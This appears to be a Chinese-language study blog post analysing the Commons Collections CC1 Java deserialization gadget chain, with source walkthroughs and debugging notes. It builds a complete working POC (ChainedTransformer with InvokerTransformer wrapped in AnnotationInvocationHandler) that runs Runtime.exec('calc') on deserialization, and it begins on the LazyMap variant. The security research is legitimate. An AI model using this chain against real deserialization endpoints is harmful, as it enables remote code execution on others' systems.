CC1
前面说过了URLDNS这条链,现在我们就可以开始学习Common-Collections利用链,这是反序列化学习中不可逃过的一关。
小的知识点
来补充一下之前一直遇到的一个知识点,JAVA基础,一直在忘记,就是数组问题,这里简单记录一下数组的初始化问题:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
//第一种 使用数组来表示“一组”int类型,然后再分开赋值即可
int[] ns = new int[5];
ns[0] = 68;
ns[1] = 66;
...
可以使用 数组变量.length 获取数组大小
//第二种 定义数组时直接指定初始化的元素,这样就不必写出数组大小,而是由编译器自动推算数组大小。
int[] ns = new int[]{12,23,24,45,45};
//第三种 还可以在第二步基础上进一步简写
int[] ns = {11,22,33,44,55};
//第四种 这里再简单讲讲字符串数组
String[] names = {"haha","quke","erqieha"};
|
暂时需要注意的就是这四个,现在就正式开始学习CC链。
Commons Collections
前置说明
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
由于大量的生产环境中都会导入这个包,所以此包中的众多反序列化链已经成为经典链条。
学习路线:CC1 -> CC6 -> CC3 -> CC5 -> CC7 -> CC2 -> CC4 (其中CC2和CC4是common-collections4的利用链)
环境搭建
Apache Commons项目需要导入,所以我们在这里需要搭建环境,还是使用maven来导包,修改pom.xml即可,比如我这里要导一个cc3.2.1,加上如下:
1
2
3
4
5
|
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
|
再更新一下项目即可。
下载并且配置相应源码
因为JDK自带·的包里面有些文件是反编译的.class文件导致我们没法清楚看懂代码,为了方便调试,我们需要将它们转变为.java文件,这就需要我们安装响应的源码。
下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
先原本jdk目录下的src.zip解压到当前目录,在链接中点击zip下载后解压,在/src/share/classes中找到sun文件,把其复制到原本jdk中src.zip的解压文件。

最后再在idea中把src文件夹添加到原路径下即可:

动态代理
主要内容就回去看动态代理笔记的内容,主要就是一个点:当我们调用某个动态代理对象的方法时,都会触发代理类的Invoke方法,并传递对应的内容。
正式分析
测试环境:
- JDK 8u65
- commons-collections 3.2.1
需要了解的类和接口
AbstractMapDecorator
在CC库中提供了一个抽象类org.apache.commons.collections.map.AbstractMapDecorator
,这个类是Map的扩展,从名字来看,这是一个基础的装饰器,用来给map提供附加功能,被装饰的map存在该类的属性中,并且将所有的操作都转发给这个map。
这个类有很多实现类,各个类触发的方式不同,重点关注的是TransformedMap 以及LazyMap。
org.apache.commons.collections.map.TransformedMap
类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer来定义,Transformer 在 TransformedMap 实例化时作为参数传入。可以简单看看这个类的定义:

这个类继承了一个类和实现了一个接口。再看源码其实可以发现很多方法都实现了transform()
方法
这里给一个示例利用代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
package org.example;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static Transformer keyTransformer = new Transformer() {
public Object transform(Object input) {
int num = (int) input;
num += 1;
return (Object) num;
}
};
public static Transformer valueTransformer = new Transformer() {
public Object transform(Object input) {
String str = input.toString();
return str + "1";
}
};
public static void main(String[] args) {
HashMap<Integer, String> hashMap = new HashMap<>();
hashMap.put(1, "a");
System.out.println("初始化map:" + hashMap);
// 创建TransformedMap
Map map = TransformedMap.decorate(hashMap, keyTransformer, valueTransformer);
map.put(2, "b");
System.out.println("transformMap:" + map);
map.put(1, "w");
System.out.println("transformMap:" + map);
map.remove(1);
System.out.println("transformMap:" + map);
}
}
|
运行后的输出结果:
1
2
3
4
|
初始化map:{1=a}
transformMap:{1=a, 3=b1}
transformMap:{1=a, 2=w1, 3=b1}
transformMap:{2=w1, 3=b1}
|
其实这里出现这个结果的原因还是和对象相关,可以来调试一下:
-
这里首先了解一下匿名类是什么,可以参考这个文章,就是可以实现一个类中包含另外一个类,且不需要提供任何的类名直接实例化。主要是用于在我们需要的时候创建一个对象来执行特定的任务,可以使代码更加简洁。
-
重要说明:首先在这串代码使用匿名类实现了Transformer接口,创建了一个对象,代码都使用匿名类实现了Transformer接口,创建了一个临时的类实例(即对象),并将这个类实例赋值给了keyTransformer和valueTransformer并都重写了transform()方法,这个是最重要的。(重要的是看代码,一看就懂了)
然后开始调试:
重要看后面的put那部分,第一个就是HashMap类的put方法,就是放入一对键值对,不多说。重点看后面。
然后调用

跟进源码:

即返回一个TransformedMap对象,并且此时的keyTransformer和valueTransformer对应自定义的匿名类。
然后加断点:

然后现在来看对应的变量的值:

重点看值,注意valueTransformer和keyTransformer的值为Test$2..
和Test$1..
,相互对比到来看,可以很容易看出这种格式就是代表匿名类,而不是一个Test类实例。
在后续的map.put()
中,调用的就是TransformedMap类的put方法:

然后就会调用transformKey方法,源码如下:

此时就会调用keyTransformer的transform方法,此时调用的就是匿名类的transform方法,那么就是

valueTransformer.transformer()同理。逻辑是这样,并且在调试过程中也同样这这个过程。
继续看map.put()
方法:
1
|
return this.getMap().put(key, value);
|
这个getMap对应TransformedMap的父类AbstractInputCheckedMapDecorator的父类AbstractMapDecorator的getMap()方法,源码为:
1
2
3
|
protected Map getMap() {
return this.map;
}
|
结合前面的实例化的描述,可以知道这里的map即HashMap类实例,所以这里会再调用HashMap的put方法放入一对修饰后的键值对。
后面那个同理
最后会调用HashMasp类的remove方法来去掉一个键值对。
代码分析结束,对于这一段示例代码就需要理解透彻,了解其中的运行过程与逻辑,后面会有用。
也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put
方法时),就会触发相应参数的 Transformer 的 transform()
方法。
LazyMap
org.apache.commons.collections.map.LazyMap
与TransformedMap类似,这个类触发transform()方法的点就在于调用get()
方法时传入的key不存在,看一下get()方法的源码:
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
|
再看下面:

可以知道LazyMap类继承于AbstractMapDecorator。
org.apache.commons.collections.map.DefaultedMap
与LazyMap具有相同功能,同样是get()
方法会触发transform 方法。
org.apache.commons.collections.Transformer
是一个接口类,源代码如下:
1
2
3
4
5
|
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
|
它提供了一个transform()
方法,用来定义具体的转换逻辑。
在Commons Colection 项目中,程序提供了21个Transformer 的实现类,用来实现不同的对TransformedMap 中的 key/value 进行修改的功能

重点关注几个实现类
org.apache.commons.collections.functors.InvokerTransformer
,这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象,来看一下它的transform方法源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
|
重点就是try部分代码:
1
2
3
|
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
|
这里使用反射获取方法并使用invoke()方法调用这个方法,看看这里需要利用的几个参数:
1
2
3
|
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
|
赋值方法也在构造函数里面,如下:
1
2
3
4
5
|
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
|
尝试自己构造,测试代码:
1
2
3
4
5
6
7
8
9
10
|
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.Runtime;
public class Test {
public static void main(String[] args) {
InvokerTransformer x = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
x.transform(Runtime.getRuntime());
}
}
|
成功弹出计算机:

org.apache.commons.collections.functors.ChainedTransformer
类也是Transformer的实现类,关键源码如下:
1
2
3
4
5
6
7
8
9
10
11
|
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
|
这里的重点就是这个类自己维护了一个Transformer数组,在调用ChainedTransformer的transform方法时,会循环数组,依次调用 Transformer 数组每个 trandform方法,并将结果传递给下一个 Transformer。
这样就给了使用者链式调用多个 Transformer 分别处理对象的能力。
org.apache.commons.collections.functors.ConstantTransformer
是返回一个固定常量的Transformer,在初始化时储存了一个Object,后续的调用会直接返回这个Object。关键源码如下:
1
2
3
4
5
6
7
|
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
|
这个类用于和ChainedTransformer配合,将其结果传入InvokerTransformer来调用我们指定的类的指定方法。
攻击构造
CC1这里有两条链可以利用,分别是利用TransformedMap类和LazyMap类,现在来分别说明一下。
基本本地代码
这里就结合到前面知识点,来构造反序列化的恶意利用代码。现在我们构造的最终的利用点,就是Runtime.getRuntime().exec("calc")
,在这里使用TransformedMap 触发,本地demo如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
package org.example;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) });
HashMap hashMap = new HashMap();
Map map2 = TransformedMap.decorate(hashMap,chain,null);
map2.put(10,"xxx");
}
}
|
说明一下这串代码的作用,先说后面的利用代码:
1
2
3
|
HashMap hashMap = new HashMap();
Map map2 = TransformedMap.decorate(hashMap,chain,null);
map2.put(10,"xxx");
|
这部分代码只要理解到了前面在TransformedMap类部分给的示例代码基本就可以理解了。所以链子起始点就是

现在来看流程,打断点如下:

然后就继续跟进,由于我们传入的keyTransformer就是ChainedTransformer类对象,所以这里调用的transform()
方法时,调用的就是ChainedTransformer类的transform()方法,如下:

现在来看我们给ChainedTransformer类传入的数组:
1
2
3
4
5
6
|
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) });
//注意理解
|
1.然后现在就是调用的传入的数组第一个参数的transform方法,即ConstantTransformer类的transform()方法(此时的object为10):

这里的transform方法会直接返回我们实例化时定义的Runtime.class
,所以这里的10最终是没用的,这步过后object的值变为了Runtime对象,即class java.lang.Runtime
。
2.然后现在调用的就是数组第二个值的类实例化对象,也就是
1
|
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
|
继续跟进

注意看input.getClass()
这一步过后的cls的值,居然变成了Class对象,这也是最开始没想通的(这里的Input不是一个类的实例化对象),也就是对任何类的class对象使用getClass()方法时都会返回class java.lang.Class
。
然后这里调用getMethod()方法获取Class对象
的getMethod()
方法并在return的地方使用invoke()方法来获取Runtime
类的getRuntime()
方法(getRuntime方法为静态方法)
所以现在的object变为Runtime里面的getRuntime()
方法。
3.继续,现在到了第三个值的类实例化对象,也就是:
1
|
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null})
|
还是进入InvokerTransformer类的transform方法

这里需要注意的同样的是getClass()那里,由于我传入的是一个getRuntime()方法的class对象,所以这里返回的是class java.lang,reflect.Method
,然后使用反射获取Method类中的invoke方法,最后再在return部分调用invoke方法来利用反射获取的invoke()方法,形如:
1
2
3
4
|
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");
//这样就可以直接执行方法从而获取Runtime类的实例化对象,还是和这个方法是static有关
|
所以在这里应该就是相当于直接执行getRuntime()方法(注意理解对比反射的知识点,这里的的用法需要理解记忆)
所以在这一步后可以获取到new Runtime
的实例。
即现在的object的值为Runtime类的实例
4.现在就到了数组的最后一个值,即:
1
|
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
|
然后后面就是获取Runtime类的exec方法,并在invoke时传入calc弹出计算机。
5.总结
最后简单总结一下chain链中的流程:
- 使用ConstantTransformer的transform方法返回Runtime.class
- 再在InvokerTransformer的transform方法获取getMethod方法并利用获取getRuntime()方法
- 再在InvokerTransformer的transform中获取invoke方法来调用getRuntime()方法从而获取到Runtime类实例。
- 最后还是在InvokerTransformer的transform方法获取到exec方法并传入calc弹出计算机
分析结束。
其实还可以更简单,结合getRuntime()方法的特性,可以如下构造:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
package org.example;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
class Test{
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec" , new Class[]{ String.class },new Object[]{"calc"}) });
HashMap hashMap = new HashMap();
Map ctf =TransformedMap.decorate(hashMap,chain,null);
ctf.put(10,"xxx");
}
}
|
同样成功弹出计算机

综上第二种的简化代码更简洁,第一种偏技巧性,都要理解学习利用。
但是第二种代码本身在具体的运用中并没有用,这是因为Runtime类并没有实现Serializable接口,而解决方法就是第一种,所以在实际运用中还是使用的第一种。
实际利用
上面的代码只是一个用来在本地测试的类,并且是我们通过构造代码来启用第一个transform()方法继而实现的链子。在实际反序列化漏洞中,我们需要它的readObject代码逻辑中有类似Map.put方法的操作。
在这里可以利用到的类就是sun.reflect.annotation.AnnotationInvocationHandler
。
现在来看这个类的readObject()方法(需要注意的是这是8u71以前的代码,8u71以后做了一些修改,这个后面再说):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
|
重点关注foreach语句。在这里Map.Entry<String, Object> memberValue : memberValues.entrySet()
用于遍历Map,可以参考这个文章,而String name = memberValue.getKey();
语句和Object value = memberValue.getValue();
语句用于获取键值对。

这里的重点就是这个setValue()
方法了,这里简单给出这个调用链:
1
|
AnnotationInvocationHandler#readObject() ==> AbstractInputCheckedMapDecorator$MapEntry#setValue() ==>TransformedMap#checkSetValue
|
在TransformedMap这里就可以启动前面构造的调用链

同时在这里可以看出是利用的valueTransformer,所以在调用decorate()方法初始化时要不同于前面的基本代码,需要改位置,如下:
1
|
Map map2 = TransformedMap.decorate(hashMap,null,chain);
|
这样才能保证成功调用。现在就围绕这条链子来进行阐述。
1.现在来看memberValues的赋值点:

这里由于AnnotationInvacationHandler属jdk内部类,无法直接引用且被实例化,所以只能利用反射获取构造方法,将修饰过的Map添加进去。
注意看AnnotationInvacationHandler的构造方法,简单说明一下参数问题:
-
对于第一个参数Class<? extends Annotation> type
,简单说明一下:形如**<? extends Collection>** 这里**?代表一个未知的类型,但是,这个未知的类型实际上是Collection**的一个子类,Collection是这个通配符的上限。
-
同时看这个构造方法里面的 if 语句代码,这里只要满足任何一个条件就会进入到if语句,导致不能正常赋值。这里重点关注!type.isAnnotation()
代码,这里的isAnnotation()函数就是用来判断Class
对象是否是表示一个注解类型。所以这里需要一个传入一个注解类型的Annotation。也就是下图中有@的类:

选择上面的任意一个注解类型的类应该都是可以的
所以可以构造代码如下:
1
2
3
4
5
|
Class clazz = Clas.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDelaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
constructor1.newInstance(Rention.class,ctf);
//ctf即构造好的TransformedMap
|
现在解决了memberValues值的问题。
2.继续看readObject()方法的源码
为了方便学习,我们尝试直接拼接一下前面的总结出来的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
package org.example;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Test {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) });
HashMap hashMap = new HashMap();
Map map2 = TransformedMap.decorate(hashMap,null,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(Retention.class,map2);
//序列化
serialize(o);
//反序列化
unserialize();
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
}
public static void unserialize() throws Exception {
ObjectInputStream o = new ObjectInputStream(new FileInputStream("ser.ser"));
o.readObject();
o.close();
}
}
|
再打断点调试发现是在readObject()地方出现问题,现在来跟一下readObject()的源码,打断点如下:

先来看这两串代码:
1
2
3
|
annotationType = AnnotationType.getInstance(type);
和
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
|
简单看看结果:

第一行代码将annotationType被赋值为了AnnotationType实例,所以第二行代码就会调用AnnotationType类的memberTypes()方法:

所以最终readObject()方法里面的memberTypes为HashMap类的实例。
这里还要说明一个点,关于for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
这个循环遍历的代码问题,在打断点过程中,我发现如下打断点会直接结束:

那就说明在我上面拼接的代码在反序的时候并没有成功进入到这个for语句中,我猜测是这个循环遍历的问题,去查看前面给的文章的举例代码,直接看测试代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import java.util.Map;
import java.util.HashMap;
public class reflect {
public static void main(String[] args) throws Exception {
Map<Integer, String> map = new HashMap<>();
map.put(1, "value1");
map.put(2, "value2");
map.put(3, "value3");
map.put(4, "value4");
map.put(5, "value5");
for (Integer key : map.keySet()) {
System.out.println("key: " + key + " value: " + map.get(key));
}
System.out.println();
for (Map.Entry<Integer, String> entry : map.entrySet()) {
System.out.println("成功进入循环遍历");
System.out.println("key: " + entry.getKey() + " value: " + entry.getValue());
}
}
}
|
成功输出

但是当我使用如下代码测试:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import java.util.Map;
import java.util.HashMap;
public class reflect {
public static void main(String[] args) throws Exception {
Map<Integer, String> map = new HashMap<>();
for (Integer key : map.keySet()) {
System.out.println("key: " + key + " value: " + map.get(key));
}
System.out.println();
for (Map.Entry<Integer, String> entry : map.entrySet()) {
System.out.println("成功进入循环遍历");
System.out.println("key: " + entry.getKey() + " value: " + entry.getValue());
}
}
}
|
却什么都没有,这个结果那就确实说明了*我们需要向Map中键入至少一对键值对才能成功进入到这个for循环。*后续有个问题,直接讲了:

这里看readObject()源码,可以知道需要将这个值设置为String那么测试代码就可以改成如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
package org.example;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Test {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) });
HashMap hashMap = new HashMap();
hashMap.put("ceshi","value1");
Map map2 = TransformedMap.decorate(hashMap,null,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(Retention.class,map2);
//序列化
serialize(o);
//反序列化
unserialize();
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
}
public static void unserialize() throws Exception {
ObjectInputStream o = new ObjectInputStream(new FileInputStream("ser.ser"));
o.readObject();
o.close();
}
}
|
再调试成功进入for循环,但是并没有成功弹出计算机,那么继续打断点,如下打断点时会直接退出

说明并没有进入这个if条件,那么现在重点关注memberType的赋值语句:

再在if语句打一个断点,此时值的情况为:

那么现在看一下这个调用的get方法,前面已经说过了memberTypes为HashMap类实例,那现在就看HashMap类的get方法,源码如下:
1
2
3
4
|
public V get(Object key) {
Node<K,V> e;
return (e = getNode(hash(key), key)) == null ? null : e.value;
}
|
那现在再如下打断点:

调试跟进,发现最终其作用的点就是getNode()方法,这个方法会在哈希表中查找对应的节点,如果相匹配就会返回对应的节点,比如如果匹配到我设置的ceshi键和值value1,那么就会返回对应节点,否则就会返回null。
后续的如何匹配就是注释相关技术了,在这里想要成功通过的条件为:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
- 那么被
TransformedMap.decorate
修饰的Map中必须有一个键名为X的元素
所以在这里我们需要将键设置为value,因为注解类有名为value的方法:

所以最终的可利用的POC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
package org.example;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.Runtime;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;
import java.lang.Class;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
public class Test {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) });
HashMap hashMap = new HashMap();
hashMap.put("value","xxx");
Map map2 = TransformedMap.decorate(hashMap,null,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(Retention.class,map2);
//序列化
serialize(o);
//反序列化
unserialize();
}
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
}
public static void unserialize() throws Exception {
ObjectInputStream o = new ObjectInputStream(new FileInputStream("ser.ser"));
o.readObject();
o.close();
}
}
|
成弹出一个计算机。
现在来看一下setValue()方法后续调用的方法的源码:

然后就是TransformedMap类的checkSetValue()方法:

由于我们前面就将valueTransformer设置为了chain链,所以后续都会往预估方向发展,具体过程可以参考前面的基础代码部分。
——————————
然后总结一下前面的问题:
- 还是要注意一下Runtime类不能实例化的问题
- 反射获取
AnnotationInvocationHandler
类
- 进入for循环的需要put键值对的问题
- if条件的进入条件
在拉通整个过程时的调试过程中遇到的问题:
暂时对于很多都是初步了解吧,跟源码其实还有点看不懂,后面再来看看,简单给出示例代码,也许可以在调试过程中更容易理解:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map<String, String> innerMap = new HashMap<>();
innerMap.put("value", "xxx");
Map<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
try {
for (Map.Entry<String, String> entry : outerMap.entrySet()) {
System.out.println("成功进入循环遍历");
System.out.println(entry);
System.out.println("key: " + entry.getKey() + " value: " + entry.getValue());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
|
打断点如下:

看此时的值:

然后再看上面的实例代码给出的结果:

暂时就通过实例来稍微理解一下,看这个entry的值,前面所属就是AbstractInputCheckedMapDecorator$MapEntry
(主要就是这里所属为什么是这个还有点不清楚),这样也就能够说明为什么readObject()方法中在调用setValue()方法时会到这个MapEntry
类(就算直接在readObject方法打断点所属还是这个),从而导致整条链子的执行。
LazyMap链
实际上,在ysoserial链中,它利用的并不是TransformedMap,而是利用的LazyMap。
分析及构造过程
LazyMap的漏洞触发点是它的get()
方法get方法,也就是get方法源码中的factory.transform()
。也就是LazyMap的作用是“懒加载”,在get找不到值的时候,它会调用factory.transform
方法去获取一个值:
1
2
3
4
5
6
7
8
9
10
|
public Object get(Object key) {
if (!this.map.containsKey(key)) {
//审代码如果传入的key不存在,就会才会进入这个if条件
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
|
相较于TransformedMap链的利用方法,LazyMap的利用更复杂一些,由于sun.reflect.annotation.AnnotationInvocationHandler
的readObject方法中没有调用到Map的get方法。但是AnnotationInvocationHandler
类的invoke方法有调用到get方法,源码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
